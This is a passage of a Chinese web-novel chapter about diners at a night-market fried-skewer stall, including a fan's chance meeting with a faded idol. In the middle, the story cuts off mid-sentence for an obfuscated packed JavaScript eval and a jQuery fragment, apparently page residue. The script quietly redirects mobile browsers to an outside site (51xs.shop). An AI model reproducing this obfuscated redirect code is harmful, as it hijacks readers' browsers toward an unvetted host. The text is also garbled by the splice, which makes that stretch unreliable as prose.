9. 炸串
    扎实的花菜其实没那么好入味,但因为表面覆着一层酱料,入口就是咸辣,油炸将花菜的口感变得紧致,梗部的水分牢牢锁住,营造出一种多汁的口感。

    沈淮挑眉,那帖子倒是比较中肯,虽然没吃螺蛳粉,但炸串的味道确实不错。

    平菇没裹面衣,炸出来是软软的,带点哏劲儿,跟香菇的口感差不多,但比香菇更丰沛,像在喝蘑菇汤,到了金针菇,则把里头的水分炸掉了大半,焦脆焦脆的,吃起来更香些。

    “你不喜欢吃这个吗?”

    与沈淮面无表情品尝不同,唐晓婷对炸串的喜爱完全流露于表面,两人刚好挨着坐,不免就让唐晓婷注意到了旁边人与众不同的安静。

    没想到会有人跟他搭话,沈淮愣了愣,看过去,慢半拍摇头道:“没有,挺好吃的。”

    这一扭头露出了正脸,唐晓婷失礼地盯了他两秒,“沈淮?”

    被认出来了,沈淮第一时间觉得错愕,想要从兜里翻出口罩戴上,却发现被自己出地铁站的时候顺手给扔了,只好局促地笑了笑。

    好在周围人听到这个名字并没有过多的反应,沈淮庆幸之余心里的挫败感愈发深了。

    唐晓婷注意到了,却没点明。

    她墙头挺多的,不是谁的死忠粉,之前在选秀节目里注意到了沈淮,那会儿还给他投过票,就是他很快就变成查无此人的状态,平时也没有活动。渐渐的,唐晓婷的注意力就被别的爱豆拉走了。

    可惜,她粉一个塌一个,目前已经封心锁爱,没想到会在吃东西的时候碰到沈淮。

    跟选秀那会儿比起来,沈淮似乎更加内敛了,或者用隔绝外物来说更为恰当。

    唐晓婷看看他还没吃完的炸串,突然道:“其实享受美食是成本最低又能让心情变好的事了。”

    接收到沈淮不置可否的眼神,唐晓婷亮亮自己的盘子,“我这身肉就是这么吃起来的。”

    闻言沈淮沉静的目光扫过她的脸,其实面前这个女孩算不上胖,脸蛋圆圆的,还有尖下巴,肉得比较匀称,倒是那双手看起来尤为年轻,清晰显现出几个小窝,像没成年的小朋友。

    他想象不出她也会有许多烦恼。

    “这家炸串的牛肉也很好吃,你尝尝。”唐晓婷拿起牛肉串示意。

    沈淮好奇,便也跟着拿起了牛肉串。

    “她家炸串是新出的,牛肉和排骨都腌过,里边很入味,肉质非常嫩,比一般的串串好吃。”

    唐晓婷分享着自己的品鉴心得,老板准备的酱料和牛肉串是最搭的。浓香的辣椒碎孜然末混着其他说不出名字的香料,在保存牛肉味的基础下锦上添花。

    她不像沈淮胃口小,素菜她拿得少,肉类包括鸡排鱼排都拿了一把,堆出来十分满足。

    她边吃边跟沈淮分享吃后感,尤其是他没吃到的,“鸡排这几样味道中规中矩,胜在老板酱料调得好,口味不错。”

    “最惊艳的还得是排骨,好像裹了层粉,外面是脆的,里面的肉又软又多汁,特别好吃!”

    “炸鸡你也可以尝尝,跟炸串的味道又不一样,虽然都是油炸的,但老板很用心……”

    唐晓婷表现出十分对食物的认真,沈淮坐得更直了些,听她说了很久。

    吃到最后,唐晓婷停下来,意识到自己话有点多了,道:“不好意思,我这人一说到爱吃的就停不下来,没占用你的时间吧?”

    沈淮微微笑了起来,摇头表示自己并没有觉得时间被占用,相反的确感觉找回了一些美食的乐趣,他有很长时间没好好吃饭了。

    两人说到底只是萍水相逢的陌生人,唐晓婷不再多说,吃完才用比较正式的态度问道:“我可以给你拍张照片吗?”

    没等沈淮回话,她补充道:“这里的光还挺漂亮的,拍照很有氛围……”

    “可以的。”

    沈淮很随意地点头,在她打开手机照相机前擦了擦嘴。

    唐晓婷没粉过这么平易近人的爱豆,呆了下,掏手机的动作倒是一点不慢。

    拍完她想问沈淮要不要看照片,那人已经端着盘子起身,挂着淡笑的眼神很认真,“谢谢你,下次再请你吃饭吧。”

    唐晓婷看着人走远,收回手机,下次吗?她俩好像也没交换联系方式啊?

    怀揣着复杂心思回到宿舍,唐晓婷再点开相册里拍的几张照片,莫名觉得今天的经历很不真实。

    她,和粉的前墙头,坐在一张桌子上吃饭,还是夜市!

    不知道该和谁分享,唐晓婷登上许久没点开的大眼仔,把拍得最好的那张照片发了上去,配文:撸串遇到的意外之喜。

    图片里,沈淮整个人被头顶的灯光勾出一圈暖橙色的边,背景里的闹市色彩被虚化,他静静地朝镜头望去,故事在他眼底娓娓道来。

    像素像座机,整体雾绒绒的,故事性拉满。

    离开的客人如何姜荇暂时无暇顾及,她的小摊持续被来往的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713552|144675||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    客人围住,崔静挤在人堆里有些不太适应,和老板匆匆对上一眼说要炸串,手里就被塞了个号牌和框子。

    选完东西挤出去,崔静将羽绒服拉链往下扯了扯,这个温度她在人群里挤了挤都开始热了。

    梁舟姗姗来迟,举着手机道:“抱歉抱歉,接了个家里的电话,辛苦你去点单了。”

    他指着小摊后面的空位,又指指大概一百米远的奶茶店道:“你先去坐,我去买喝的,你还是喝蜂蜜柠檬水吗?”

    崔静点头,没多久这人提着奶茶回来了。

    分完奶茶,梁舟道:“对了,这周末我堂弟结婚得回去一趟,你跟李爽也说一声,那两天约不了饭,省得我到时候忘了说。”

    梁舟痛快地吸了一大口,发出满足的叹气,“这几天吃点好的,回去睡也睡不饱,还得听我妈念经,痛苦啊!”

    崔静看他两眼,试探道:“你也被催婚吗?”

    “催!怎么不催?”梁舟软骨似的撑着凳子,在熟人面前毫无形象可言。

    “那你都是怎么拒绝的?”崔静追问。

    “说实话,拒绝是没用的,你得把主动权抓在自己手里。”

    老板在叫号,梁舟过去拿了炸串回来,继续道:“我的主动权就是,我掌握了家里的经济动脉,二老的所有花销都是我在出,来来来边吃边说!”

    梁舟不挑食,拿到什么吃什么,一口青椒塞得好一会儿没说话。

    “青椒炸出来挺好吃,没啥辣味,甜丝丝的。”

    软趴趴的青椒是姜荇特意选的个头大没辣味的品种,熟了之后带点甜味,接近肉特别厚的甜椒,油炸过后外面的那层筋膜皱起,将青椒仅有的汁水兜在里头。

    话题被动暂停,崔静倒不是非要找个答案不可,她捏了根土豆串,炸的土豆片薄厚不同,口感也会有不同的体会。

    太薄的炸完定了型就成了薯片,撒上番茄粉酸甜滋味特别脆,再切厚一点儿,就是她吃的这串,油炸过的外皮金黄微脆,偏偏里边还夹着一片软热的芯,咬下去就没了干脆劲儿,但并不拖泥带水,是别样的好吃。

    包菜是个令人头疼的蔬菜,个头大大的,一个人吃三天也吃不完一颗,崔静之前买过一回,菜的品质不好,吃起来寡淡无味。

    放到了炸串里,层层叠叠的菜叶串起来,炸得都蔫巴了,看上去微微发焦,吃起来依然带着蔬菜的自然气息,有点甜,裹着的酱料增添了不少意趣,滋味浓郁,不减清爽。